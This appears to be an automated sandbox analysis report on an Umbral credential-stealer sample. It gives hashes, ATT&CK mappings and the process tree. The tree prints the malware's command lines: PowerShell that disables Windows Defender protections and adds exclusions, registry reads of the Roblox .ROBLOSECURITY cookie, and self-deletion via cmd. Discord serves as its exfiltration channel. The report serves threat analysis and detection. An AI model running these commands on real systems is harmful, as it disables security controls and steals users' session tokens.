umbral | 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
28-08-2024 01:44

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General

Target

5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
Size

229KB
MD5

eabe2a81aa3dabab25e49ee4b36ce075
SHA1

f55b6298f0a8330d90d39e20a73adb2e828dfd1c
SHA256

5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686
SHA512

9688119150d3a466d9a12bfc55933d367104747a2cf319467a78dfcf975361c9e2727f76efe380db9d0c92c39dc4b0241bfb444e965e92720c9edcf42c1d18fe
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4Wn0IZHMgPou35EwFyov28e1mpi:noZtL+EP8Wn0IZHMgPou35EwFm1

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2368-1-0x0000000001010000-0x0000000001050000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2384	powershell.exe
2564	powershell.exe
1048	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe

Deletes itself 1 IoCs

pid	Process
2160	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2160	cmd.exe
1260	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2868	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1260	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
2840	powershell.exe
2384	powershell.exe
2564	powershell.exe
612	powershell.exe
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
Token: SeIncreaseQuotaPrivilege	2856	wmic.exe
Token: SeSecurityPrivilege	2856	wmic.exe
Token: SeTakeOwnershipPrivilege	2856	wmic.exe
Token: SeLoadDriverPrivilege	2856	wmic.exe
Token: SeSystemProfilePrivilege	2856	wmic.exe
Token: SeSystemtimePrivilege	2856	wmic.exe
Token: SeProfSingleProcessPrivilege	2856	wmic.exe
Token: SeIncBasePriorityPrivilege	2856	wmic.exe
Token: SeCreatePagefilePrivilege	2856	wmic.exe
Token: SeBackupPrivilege	2856	wmic.exe
Token: SeRestorePrivilege	2856	wmic.exe
Token: SeShutdownPrivilege	2856	wmic.exe
Token: SeDebugPrivilege	2856	wmic.exe
Token: SeSystemEnvironmentPrivilege	2856	wmic.exe
Token: SeRemoteShutdownPrivilege	2856	wmic.exe
Token: SeUndockPrivilege	2856	wmic.exe
Token: SeManageVolumePrivilege	2856	wmic.exe
Token: 33	2856	wmic.exe
Token: 34	2856	wmic.exe
Token: 35	2856	wmic.exe
Token: SeIncreaseQuotaPrivilege	2856	wmic.exe
Token: SeSecurityPrivilege	2856	wmic.exe
Token: SeTakeOwnershipPrivilege	2856	wmic.exe
Token: SeLoadDriverPrivilege	2856	wmic.exe
Token: SeSystemProfilePrivilege	2856	wmic.exe
Token: SeSystemtimePrivilege	2856	wmic.exe
Token: SeProfSingleProcessPrivilege	2856	wmic.exe
Token: SeIncBasePriorityPrivilege	2856	wmic.exe
Token: SeCreatePagefilePrivilege	2856	wmic.exe
Token: SeBackupPrivilege	2856	wmic.exe
Token: SeRestorePrivilege	2856	wmic.exe
Token: SeShutdownPrivilege	2856	wmic.exe
Token: SeDebugPrivilege	2856	wmic.exe
Token: SeSystemEnvironmentPrivilege	2856	wmic.exe
Token: SeRemoteShutdownPrivilege	2856	wmic.exe
Token: SeUndockPrivilege	2856	wmic.exe
Token: SeManageVolumePrivilege	2856	wmic.exe
Token: 33	2856	wmic.exe
Token: 34	2856	wmic.exe
Token: 35	2856	wmic.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeIncreaseQuotaPrivilege	1904	wmic.exe
Token: SeSecurityPrivilege	1904	wmic.exe
Token: SeTakeOwnershipPrivilege	1904	wmic.exe
Token: SeLoadDriverPrivilege	1904	wmic.exe
Token: SeSystemProfilePrivilege	1904	wmic.exe
Token: SeSystemtimePrivilege	1904	wmic.exe
Token: SeProfSingleProcessPrivilege	1904	wmic.exe
Token: SeIncBasePriorityPrivilege	1904	wmic.exe
Token: SeCreatePagefilePrivilege	1904	wmic.exe
Token: SeBackupPrivilege	1904	wmic.exe
Token: SeRestorePrivilege	1904	wmic.exe
Token: SeShutdownPrivilege	1904	wmic.exe
Token: SeDebugPrivilege	1904	wmic.exe
Token: SeSystemEnvironmentPrivilege	1904	wmic.exe
Token: SeRemoteShutdownPrivilege	1904	wmic.exe
Token: SeUndockPrivilege	1904	wmic.exe
Token: SeManageVolumePrivilege	1904	wmic.exe
Token: 33	1904	wmic.exe
Token: 34	1904	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2856	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	31
PID 2368 wrote to memory of 2856	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	31
PID 2368 wrote to memory of 2856	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	31
PID 2368 wrote to memory of 2796	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	34
PID 2368 wrote to memory of 2796	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	34
PID 2368 wrote to memory of 2796	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	34
PID 2368 wrote to memory of 2840	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	36
PID 2368 wrote to memory of 2840	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	36
PID 2368 wrote to memory of 2840	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	36
PID 2368 wrote to memory of 2384	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	38
PID 2368 wrote to memory of 2384	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	38
PID 2368 wrote to memory of 2384	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	38
PID 2368 wrote to memory of 2564	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	40
PID 2368 wrote to memory of 2564	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	40
PID 2368 wrote to memory of 2564	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	40
PID 2368 wrote to memory of 612	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	42
PID 2368 wrote to memory of 612	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	42
PID 2368 wrote to memory of 612	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	42
PID 2368 wrote to memory of 1904	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	44
PID 2368 wrote to memory of 1904	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	44
PID 2368 wrote to memory of 1904	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	44
PID 2368 wrote to memory of 2456	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	46
PID 2368 wrote to memory of 2456	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	46
PID 2368 wrote to memory of 2456	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	46
PID 2368 wrote to memory of 1500	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	48
PID 2368 wrote to memory of 1500	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	48
PID 2368 wrote to memory of 1500	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	48
PID 2368 wrote to memory of 1048	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	50
PID 2368 wrote to memory of 1048	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	50
PID 2368 wrote to memory of 1048	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	50
PID 2368 wrote to memory of 2868	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	52
PID 2368 wrote to memory of 2868	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	52
PID 2368 wrote to memory of 2868	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	52
PID 2368 wrote to memory of 2160	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	54
PID 2368 wrote to memory of 2160	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	54
PID 2368 wrote to memory of 2160	2368	5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe	54
PID 2160 wrote to memory of 1260	2160	cmd.exe	56
PID 2160 wrote to memory of 1260	2160	cmd.exe	56
PID 2160 wrote to memory of 1260	2160	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2796	attrib.exe

C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
"C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe"
  2⤵
  - Views/modifies file attributes
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:612
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1904
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1048
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2868
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2160
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2b67b0c57c60435ded8c18944d6080ad

SHA1
b943817ff54a104eb6cf794c641aa58ef10c206e

SHA256
c084e9fb50de00907ca32fb31a8099a9a0ca5b6c49ecb5a24cb4af595ac6fd92

SHA512
3cb8963ddccaf06d8dfd602a4942b2705161604a2a86b8d3fe80f6cd1152eaa840a44a12724259f224639ec7016081667b6ce2efd60e359d8b235477168164de

Download Submit
memory/1048-43-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2368-0-0x000007FEF61A3000-0x000007FEF61A4000-memory.dmp

Filesize
4KB

Download
memory/2368-1-0x0000000001010000-0x0000000001050000-memory.dmp

Filesize
256KB

Download
memory/2368-2-0x000007FEF61A0000-0x000007FEF6B8C000-memory.dmp

Filesize
9.9MB

Download
memory/2368-47-0x000007FEF61A0000-0x000007FEF6B8C000-memory.dmp

Filesize
9.9MB

Download
memory/2384-14-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2384-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2840-7-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2840-8-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download